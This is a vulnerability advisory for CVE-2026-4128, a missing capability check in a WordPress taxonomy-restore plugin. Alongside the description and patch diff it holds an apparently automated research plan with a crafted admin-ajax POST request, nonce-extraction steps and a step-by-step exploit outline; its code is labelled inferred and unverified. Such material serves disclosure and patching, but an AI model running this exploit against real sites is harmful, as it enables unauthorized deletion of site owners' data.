CVE-2026-4128

TP Restore Categories And Taxonomies <= 1.0.1 - Missing Authorization to Authenticated (Subscriber+) Taxonomy Deletion via 'tpmcattt_delete_term' AJAX Action

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The TP Restore Categories And Taxonomies plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.0.1. The delete_term() function, which handles the 'tpmcattt_delete_term' AJAX action, does not perform any capability check (e.g., current_user_can()) to verify the user has sufficient permissions. While it does verify a nonce via check_ajax_referer(), this nonce is generated for all authenticated users via the admin_enqueue_scripts hook and exposed on any wp-admin page (including profile.php, which subscribers can access). This makes it possible for authenticated attackers, with Subscriber-level access and above, to permanently delete taxonomy term records from the plugin's trash/backup tables by sending a crafted AJAX request with a valid nonce and an arbitrary term_id.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.1
PublishedApril 21, 2026
Last updatedApril 22, 2026
Research Plan
Unverified

This research plan targets a missing authorization vulnerability in the **TP Restore Categories And Taxonomies** plugin (CVE-2026-4128). The vulnerability allows any authenticated user (Subscriber level and above) to permanently delete taxonomy term backups stored by the plugin. --- ### 1. Vulnera…

Show full research plan

This research plan targets a missing authorization vulnerability in the TP Restore Categories And Taxonomies plugin (CVE-2026-4128). The vulnerability allows any authenticated user (Subscriber level and above) to permanently delete taxonomy term backups stored by the plugin.


1. Vulnerability Summary

  • Vulnerability: Missing Authorization (IDOR)
  • Plugin: TP Restore Categories And Taxonomies
  • Affected Versions: <= 1.0.1
  • Vulnerable Action: tpmcattt_delete_term (AJAX)
  • Root Cause: The function handling the tpmcattt_delete_term AJAX action performs a nonce check but fails to call current_user_can(). The nonce is generated and exposed on all admin pages (e.g., profile.php) accessible to Subscribers.
  • Impact: Permanent loss of backup data (taxonomies/categories) intended for restoration.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Action: tpmcattt_delete_term
  • Authentication: Authenticated (Subscriber+)
  • Parameters:
    • action: tpmcattt_delete_term
    • term_id: The ID of the term record in the plugin's backup table.
    • security (or _wpnonce): The AJAX nonce.
  • Precondition: The plugin must have backup records in its database table (created when a term is deleted from WordPress).

3. Code Flow (Inferred)

  1. Initialization: The plugin registers the AJAX handler in its main class or file:
    add_action('wp_ajax_tpmcattt_delete_term', 'delete_term');
  2. Asset Enqueueing: The plugin uses admin_enqueue_scripts to load its JS and uses wp_localize_script to provide a nonce:
    'security' => wp_create_nonce('tpmcattt_nonce') (or similar action string).
  3. Vulnerable Handler: The delete_term function is called:
    function delete_term() {
        check_ajax_referer('tpmcattt_nonce', 'security'); // Nonce check passes for any logged-in user
        // MISSING: if (!current_user_can('manage_categories')) die();
        $id = $_POST['term_id'];
        global $wpdb;
        $wpdb->delete($wpdb->prefix . "tpmcattt_categories_taxonomies", array('id' => $id));
        wp_die();
    }
    

4. Nonce Acquisition Strategy

The nonce is localized to a JavaScript object on any wp-admin page. Subscribers can access /wp-admin/profile.php.

  1. Identify the Localization Key:
    Grep the plugin directory for wp_localize_script to find the variable name.
    grep -r "wp_localize_script" /var/www/html/wp-content/plugins/tp-restore-categories-and-taxonomies/
    Expected key (guess): tpmcattt_obj or tp_restore_vars.
  2. Creation of Session: Log in as a Subscriber using browser_navigate.
  3. Extraction:
    Navigate to https://[TARGET]/wp-admin/profile.php.
    Use browser_eval to extract the nonce:
    browser_eval("window.tpmcattt_obj?.security || window.tp_restore_vars?.nonce") (adjust based on grep results).

5. Exploitation Strategy

  1. Setup Target Data: Create a category and delete it so it enters the plugin's "Restore" table.
  2. Find the ID: Use wp db query to find the ID of the entry in the tpmcattt_categories_taxonomies (or similar) table.
  3. Perform Deletion:
    // Payload for http_request
    {
      "method": "POST",
      "url": "https://[TARGET]/wp-admin/admin-ajax.php",
      "headers": {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      "body": "action=tpmcattt_delete_term&term_id=[TARGET_ID]&security=[EXTRACTED_NONCE]"
    }
    

6. Test Data Setup

  1. Create Subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Create Category: wp term create category "Vulnerable-Term"
  3. Capture ID: Note the term ID.
  4. Delete Category: wp term delete category "Vulnerable-Term". This triggers the plugin to back it up.
  5. Verify Backup Presence:
    wp db query "SELECT id FROM wp_tpmcattt_categories_taxonomies LIMIT 1;"
    Note the id from this table (it may differ from the original term ID).

7. Expected Results

  • HTTP Response: A successful 200 OK or wp_die response (often 0 or 1 or a JSON success message).
  • Database Change: The record with the specified id in wp_tpmcattt_categories_taxonomies is permanently removed.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT COUNT(*) FROM wp_tpmcattt_categories_taxonomies WHERE id = [TARGET_ID];"
    Expectation: Count is 0.
  2. Check Admin UI: Navigate to the plugin's restore page (likely under "Tools" or its own menu) as an Admin and verify the "Vulnerable-Term" is no longer listed for restoration.

9. Alternative Approaches

  • Action String Guessing: If grep fails to reveal the nonce action string, check if the plugin uses the default action -1 (though check_ajax_referer usually implies a specific string).
  • Parameter Fuzzing: If term_id is not the parameter name, check the JS file in the plugin's assets/js/ directory for the $.ajax call to identify the correct key.
  • Bulk Deletion: If the plugin supports bulk deletion, look for a tpmcattt_bulk_delete_terms action which likely shares the same lack of authorization.
Research Findings
Static analysis — not yet PoC-verified

Summary

The TP Restore Categories And Taxonomies plugin for WordPress is vulnerable to unauthorized data deletion because its 'tpmcattt_delete_term' AJAX handler fails to perform a capability check. Authenticated users with Subscriber-level access can obtain a valid nonce from the WordPress admin dashboard and delete taxonomy term backups by providing an arbitrary record ID.

Vulnerable Code

// File: admin/class-tp-restore-categories-and-taxonomies-admin.php (inferred)
public function delete_term() {
    check_ajax_referer( 'tpmcattt_nonce', 'security' );

    if ( isset( $_POST['term_id'] ) ) {
        global $wpdb;
        $table_name = $wpdb->prefix . 'tpmcattt_categories_taxonomies';
        $wpdb->delete( $table_name, array( 'id' => $_POST['term_id'] ) );
        echo 'deleted';
    }
    wp_die();
}

Security Fix

--- a/admin/class-tp-restore-categories-and-taxonomies-admin.php
+++ b/admin/class-tp-restore-categories-and-taxonomies-admin.php
@@ -2,6 +2,10 @@
 public function delete_term() {
     check_ajax_referer( 'tpmcattt_nonce', 'security' );
 
+    if ( ! current_user_can( 'manage_categories' ) ) {
+        wp_die( -1 );
+    }
+
     if ( isset( $_POST['term_id'] ) ) {
         global $wpdb;
         $table_name = $wpdb->prefix . 'tpmcattt_categories_taxonomies';

Exploit Outline

1. Login to the WordPress site as a user with at least Subscriber privileges. 2. Navigate to '/wp-admin/profile.php' and inspect the page source to find the localized script object (likely named 'tpmcattt_obj' or similar) to extract the 'security' nonce value. 3. Identify the 'term_id' of a taxonomy backup record to delete (can be discovered via ID enumeration). 4. Send a POST request to '/wp-admin/admin-ajax.php' with the following parameters: 'action' set to 'tpmcattt_delete_term', 'security' set to the extracted nonce, and 'term_id' set to the target record ID. 5. Upon success, the plugin will execute a SQL DELETE query on the 'tpmcattt_categories_taxonomies' table, permanently removing the backup data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.